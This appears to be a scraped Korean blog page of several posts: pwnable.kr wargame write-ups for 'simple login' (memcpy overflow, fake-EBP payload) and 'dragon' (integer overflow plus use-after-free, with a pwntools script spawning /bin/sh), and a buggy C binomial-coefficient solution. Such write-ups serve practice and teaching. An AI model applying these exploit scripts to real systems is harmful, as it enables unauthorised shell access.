이 문제는 엄청난 낚시가 많았다...

엉뚱한 곳을 리버싱 하면서 취약점을 찾고 있었는데 알고보니 취약점은 매우 간단했다.


1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1
 
  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
cs


바로 이 auth 함수에 memcpy를 하면서 길이 검사를 안해서 fsp를 덮어쓸 수 있어 fake ebp 기법을 사용하여 익스플로잇 할 수 있었다.

간단한 문제였다.


1
2
3
4
5
import base64
 
exploit="AAAA"+"\x84\x92\x04\x08\x40\xeb\x11\x08"
print base64.encodestring(exploit)
 
cs


'워게임 > pwnable.kr' 카테고리의 다른 글

pwnable.kr dragon  (0) 2017.05.10
pwnable.kr문제 중 쉬운 편에 속했다.
다만 ida에서 구조체를 다루는데 익숙하지 않아서 푸는데 3시간 정도 걸렸다.
문제의 취약점은 총 2가지이다.
1) integer overflow
2) uaf
드래곤의 체력이 1byte형 변수에 담겨있어서 127이상이 되면 음수가 되어 드래곤을 잡을 수 있다.
그 후 uaf 취약점을 이용하여 함수 포인터를 SelectLevel 에 있는 system("/bin/sh"); 의 주소로 변경하면 익스가 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
 
r=remote("pwnable.kr",9004)
 
print r.recvuntil("Knight")
 
r.sendline("2")
 
print r.recvuntil("20 HP.")
 
r.sendline("2")
 
r.sendline("1")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
print r.recvuntil("As:")
 
r.sendline(p32(0x08048DBF))
 
r.interactive()
cs


'워게임 > pwnable.kr' 카테고리의 다른 글

pwnable.kr simple login  (0) 2017.05.10

백준알고리즘 이항계수를 풀어보았습니다.

먼저 1번인데요! 역시 기초 dp 및 재귀함수 알고리즘 이었습니다. 다 풀어버리고 빨리 어려운거 풀고싶어여



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <memory.h>
 
int dp[100];
 
int fec(int n)
{
    if(n==1||n==0)
    {    
        dp[n]=1;
        return dp[n];
    }
 
    if(dp[n]!=-1)
        return dp[n];
 
    dp[n]=n*fec(n-1);
 
    return dp[n];
}
 
int main(void)
{
    int n,r;
    memset(dp,-1,100);
    scanf("%d %d",&n,&r);
    printf("%d",fec(n)/(fec(r)*fec(n-r)));
    return 0;
}
cs


'알고리즘 > dynamic programming' 카테고리의 다른 글

백준알고리즘 피보나치 수  (0) 2017.03.13

+ Recent posts